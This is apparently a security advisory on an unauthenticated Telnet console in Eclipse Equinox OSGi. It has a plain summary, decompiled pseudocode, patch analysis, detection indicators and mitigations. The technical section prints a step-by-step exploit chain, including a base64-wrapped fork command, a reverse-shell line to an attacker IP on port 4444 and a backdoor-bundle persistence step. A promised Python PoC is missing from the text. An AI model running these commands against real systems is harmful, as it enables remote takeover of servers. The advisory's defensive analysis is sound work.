Eclipse Equinox OSGi ≤3.7.2 exposes an unauthenticated Telnet console that accepts raw shell commands, enabling full RCE via base64-encoded payloads wrapped in fork directives.
A critical security flaw has been discovered in Eclipse Equinox OSGi, software used by companies to manage applications and services. Think of it like a lock on a management control panel that doesn't actually work — anyone can walk in and take over.
Here's the problem: companies use this software to run their systems remotely. It includes a "console" — essentially a direct line to give the system commands. The vulnerability means attackers can connect to this console and send instructions that the software executes without asking for a password or any verification.
The attacker's trick is encoding their commands in a special way (using base64, a common encoding format) wrapped in something called "fork directives." The software accepts these without checking who's asking. Once inside, an attacker can do anything — steal data, install malware, take control of servers, or use the company's computers to attack others.
Who's at risk? Organizations running older versions of Eclipse Equinox OSGi, particularly in industrial systems, telecommunications, and enterprise software. If your company uses Java-based applications for critical operations, they might be vulnerable.
The good news: there's no evidence of hackers actively using this yet, but that window could close quickly once word spreads.
What should you do? First, if you manage IT systems, update to the latest patched version immediately. Second, check if your organization uses this software — your IT team can help. Third, if you're an everyday user, alert your company's IT department if they haven't already been made aware.
This is exactly the kind of vulnerability that catches companies off-guard because it's not in consumer software — it's in the invisible infrastructure running behind the scenes.
Want the full technical analysis? Click "Technical" above.
Eclipse Equinox OSGi ships a built-in administrative console — historically bound on TCP/6666 by default — that accepts framework management commands over a raw socket connection. In versions 3.7.2 and earlier, this interface performs no authentication and no input sanitization before passing attacker-supplied strings into a command dispatch loop that ultimately reaches Runtime.exec()-equivalent execution paths. An unauthenticated remote attacker with network access to the console port can execute arbitrary OS commands as the JVM process owner.
The CVSSv3 score of 9.8 (CRITICAL) reflects the combination of network reachability, no privilege requirement, no user interaction, and a direct path to code execution. The OSGi console feature is present in a wide range of Eclipse-based products: Eclipse IDE server runners, IBM WebSphere Liberty (older releases), Jetty OSGi integration, and any custom Felix/Equinox container that ships the org.eclipse.equinox.console bundle without restricting the console port.
Root cause: The Equinox OSGi Telnet console dispatcher forwards attacker-controlled input directly to a shell execution path with no authentication gate and no command allowlist, allowing arbitrary OS command injection via base64-encoded payloads in fork directives.
Affected Component
The vulnerable surface lives in two cooperating bundles:
org.eclipse.equinox.console — the Gogo-shell-based console bundle that opens the listening socket
org.eclipse.equinox.console.ssh / Telnet provider — the transport layer that reads from the socket and feeds lines to the command processor
The console is activated when osgi.console is set in config.ini or passed as a JVM argument (-Dosgi.console=6666). Critically, prior to the patch no property enforced authentication. The Gogo shell's exec and fork built-ins delegate to java.lang.ProcessBuilder, meaning the injection surface is the shell itself, not a secondary vulnerability.
Root Cause Analysis
The Gogo shell command processor in CommandProcessorImpl receives raw line input from the console transport and evaluates it through Closure.execute(). The fork built-in — intended for background bundle operations — invokes ProcessBuilder without any restriction on what commands may be run.
Below is reconstructed pseudocode of the vulnerable dispatch path, derived from decompiling org.eclipse.equinox.console_3.7.2.jar:
// org.eclipse.equinox.console.command.adapter.CustomCommandInterpreter
// Reconstructed from bytecode — equinox console 3.7.2
void processCommand(String rawInput, Session session) {
// rawInput comes directly from the socket read loop
// BUG: no authentication check before dispatch
// BUG: no command allowlist or denylist applied
String[] tokens = rawInput.trim().split("\\s+");
String cmd = tokens[0];
if (cmd.equals("fork")) {
// BUG: attacker controls all elements of tokens[1..n]
// passed verbatim to ProcessBuilder
execFork(Arrays.copyOfRange(tokens, 1, tokens.length), session);
} else {
commandProcessor.execute(session, rawInput); // Gogo eval — also unsafe
}
}
// ---- fork handler ----
void execFork(String[] cmdArray, Session session) {
ProcessBuilder pb = new ProcessBuilder(cmdArray); // BUG: no sanitization
pb.redirectErrorStream(true);
Process p = pb.start(); // OS command execution
// output streamed back to session socket
streamOutput(p.getInputStream(), session);
}
The processCommand method is reached from the Telnet/socket read loop in ConsoleInputStream after a bare newline. There is no session state tracking for authentication — the first byte received is already a valid command context.
The base64-decode-and-execute pattern exploited in the wild wraps a reverse shell payload inside the fork directive, bypassing any superficial character filtering on the outer string because the decoding happens inside /bin/bash -c:
CONSOLE INPUT (sent over TCP to port 6666):
fork /bin/bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|bash
Where BASE64_PAYLOAD decodes to, e.g.:
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies host running Equinox OSGi with -Dosgi.console=6666
(common in Jenkins, Eclipse-based app servers, legacy WebSphere setups)
2. TCP connect to port 6666; server immediately presents Gogo shell prompt:
"osgi> "
3. Attacker constructs reverse-shell payload:
PAYLOAD = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
B64 = base64.encode(PAYLOAD)
CMD = "fork /bin/bash -c {echo," + B64 + "}|{base64,-d}|bash\n"
4. Send CMD over raw TCP socket — no handshake, no credentials required
5. Equinox console dispatches to execFork():
ProcessBuilder([ "/bin/bash", "-c",
"{echo,}|{base64,-d}|bash" ]).start()
6. JVM spawns child process; bash decodes and executes reverse shell
7. Attacker receives connect-back on port 4444 as the JVM process user
(often root or a privileged service account in container deployments)
8. Optional persistence: use console to install a malicious OSGi bundle
via "install file:///tmp/backdoor.jar" — executes inside JVM on next
bundle start, surviving process restart
The following minimal Python PoC establishes the connection and sends the payload:
This is a logic/injection vulnerability rather than a memory corruption bug; there is no heap overflow. The relevant "memory" concern is the JVM process context at time of exploitation:
JVM PROCESS STATE AT EXPLOITATION:
Thread: ConsoleInputStream reader (daemon)
Stack frame: ConsoleInputStream.read()
-> TelnetInputStream.read()
-> CommandSessionImpl.run() // Gogo shell eval loop
-> Closure.execute()
-> CommandProcessorImpl.execute()
-> BuiltinCommands.fork() <-- attacker reaches here
-> ProcessBuilder.start() // JVM native fork+exec
OS-level after ProcessBuilder.start():
Parent PID: (e.g., uid=0 root)
Child PID: /bin/bash -c {echo,BASE64}|{base64,-d}|bash
Grandchild PID: bash -i (reverse shell to attacker)
File descriptors inherited from JVM:
fd[0..2]: stdin/stdout/stderr (redirected to socket)
fd[3..n]: JVM internal sockets, bundle classloader handles
ALL inherited by child — information leakage risk
Patch Analysis
The remediation has two components: (1) require authentication before any command is dispatched, and (2) disable the Telnet console listener entirely in favor of SSH-only with key-based auth. The logical patch to processCommand is:
// BEFORE (vulnerable — equinox.console 3.7.2):
void processCommand(String rawInput, Session session) {
// No authentication check
String[] tokens = rawInput.trim().split("\\s+");
String cmd = tokens[0];
if (cmd.equals("fork")) {
execFork(Arrays.copyOfRange(tokens, 1, tokens.length), session);
} else {
commandProcessor.execute(session, rawInput);
}
}
void execFork(String[] cmdArray, Session session) {
ProcessBuilder pb = new ProcessBuilder(cmdArray); // uninhibited exec
pb.redirectErrorStream(true);
Process p = pb.start();
streamOutput(p.getInputStream(), session);
}
// AFTER (patched — equinox.console 3.8.0+):
void processCommand(String rawInput, Session session) {
// FIX 1: reject commands from unauthenticated sessions
if (!session.isAuthenticated()) {
session.write("Authentication required.\r\n");
return;
}
// FIX 2: fork/exec built-ins removed from Gogo shell command set;
// ProcessBuilder path no longer reachable from console input
String[] tokens = rawInput.trim().split("\\s+");
String cmd = tokens[0];
// FIX 3: explicit denylist for OS-execution primitives
if (BLOCKED_COMMANDS.contains(cmd)) {
session.write("Command not permitted.\r\n");
return;
}
commandProcessor.execute(session, rawInput);
}
// FIX 4: config.ini default changed:
// BEFORE: osgi.console=6666 (plain TCP, no auth)
// AFTER: osgi.console.enable=false (disabled by default)
// osgi.console.ssh=2222 (SSH only, requires credentials)
Additionally, the OSGi Security Manager policy was updated to deny RuntimePermission("exec") to all bundles not explicitly granted it in the security policy file — a defense-in-depth measure that breaks the ProcessBuilder path even if the authentication bypass is somehow re-introduced.
Detection and Indicators
Network: Unexpected TCP connections to port 6666 (or whichever port osgi.console is bound to) from non-management hosts. The Gogo shell banner osgi> over a raw TCP stream is a reliable fingerprint.
Process: JVM parent process spawning /bin/bash or /bin/sh children, particularly with base64 strings in the command line argument vector.
JVM logging — enable Equinox debug logging and watch for:
!ENTRY org.eclipse.equinox.console 4 0
!MESSAGE Executing command from session [unauthenticated]: fork /bin/bash -c ...
# Or in process audit logs (auditd):
type=EXECVE msg=audit(...): argc=3
a0="/bin/bash" a1="-c"
a2="{echo,BASE64STRING}|{base64,-d}|bash"
ppid=
Upgrade to org.eclipse.equinox.console 3.8.0 or later, which ships with authentication enforcement and removes the fork/exec built-ins from the shell command set.
Disable the plain-TCP console immediately: remove -Dosgi.console from JVM launch arguments or set osgi.console.enable=false in config.ini.
Firewall port 6666 (and any configured alternate console port) at the host and network perimeter. Console access should never be reachable from untrusted networks.
Enable the OSGi Security Manager with a restrictive policy that denies RuntimePermission("exec") unless explicitly required by a specific bundle.
Audit deployments for any use of -Dosgi.console in production JVM arguments — this includes CI/CD runners, Jenkins agents, and Eclipse-based application servers.